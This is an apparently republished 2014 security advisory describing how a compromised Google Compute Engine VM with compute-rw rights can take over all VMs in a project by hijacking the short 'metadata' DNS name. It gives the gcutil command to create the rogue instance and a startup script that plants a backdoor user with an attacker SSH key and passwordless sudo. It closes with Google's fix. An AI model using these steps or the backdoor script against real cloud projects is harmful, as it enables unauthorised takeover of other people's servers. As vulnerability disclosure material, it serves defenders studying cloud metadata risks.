首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Google Compute Engine Lateral Compromise
来源:routehero at gmail.com 作者:Cameron 发布时间:2014-06-03  
A user who creates a GCE VM with compute-rw privileges, who
subsequently has that single VM compromised, can lead to a global
compromise of all VMs inside of the account.


VMs created in the web UI, by default, come with compute-rw privileges.


Google’s account manager fetches ssh keys from the Google Metadata
server on a short DNS name, which relies on DNS to expand to FQDN:

/usr/share/google/google_daemon/desired_accounts.py:

ATTRIBUTES_URL = ('http://metadata/computeMetadata/v1/?recursive=true&%s')

INSTANCE_SSHKEYS_URL = (

   'http://metadata/computeMetadata/v1/instance/attributes/sshKeys?%s')

PROJECT_SSHKEYS_URL = (

   'http://metadata/computeMetadata/v1/project/attributes/sshKeys?%s')


We can exploit this by relying on Google’s addinstnace command to
automatically add a new instance to the recursive DNS provider @
169.254.169.254:


gcutil addinstance
--image=projects/debian-cloud/global/images/backports-debian-7-wheezy-v20140331
--zone=us-central1-a --machine_type=n1-standard-2
--metadata_from_file=startup-script:google-base.txt metadata


— startup-script:

#!/bin/bash


export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin


useradd testuser

mkdir -p /home/testuser/.ssh

cat <<EOF > /home/testuser/.ssh/authorized_keys

ssh-rsa superawesome ssh@key

EOF

chmod 644 /home/testuser/.ssh/authorized_keys

cat <<EOF >>/etc/sudoers

testuser ALL=NOPASSWD: ALL

EOF


exit 0


Once the system is online, google’s account manager and google’s
address manager will start making TCP/80 calls to our new server.
This would allow you to compromise all Google Compute Engine VMs in
the Google Project, as it would allow you to inject your own ssh key
in to metadata's sshkeys k/v pair.

Last but not least, if you otherwise had the ability to compromise DNS
responses of Google Compute Engine VMs, you could simply use the lack
of HMAC/DNS suffix in desired_accounts.py to compromise your targets.

Response
-------------

Google has updated its desired_accounts.py as follows:


METADATA_V1_URL_PREFIX = 'http://169.254.169.254/computeMetadata/v1/'


This avoids the problem on all newly created GCE VMs.  However, older
instances do not have any update mechanism available to them, leaving
a substantial number of GCE VMs vulnerable.

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·dbus-glib pam_fprintd - Local
·Easy File Management Web Serve
·linux/x86 Netcat Shellcode 58
·Ubuntu 12.04.0-2LTS x64 perf_s
·Sagem 2604 Password Disclosure
·ElasticSearch Dynamic Script A
·Madness Pro <= 1.14 - Persiste
·Microsoft Internet Explorer 11
·Madness Pro <= 1.14 - SQL Inje
·Wireshark CAPWAP Dissector - D
·Openfiler NAS/SAN Appliance 2.
·TORQUE Resource Manager 2.5.x-
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved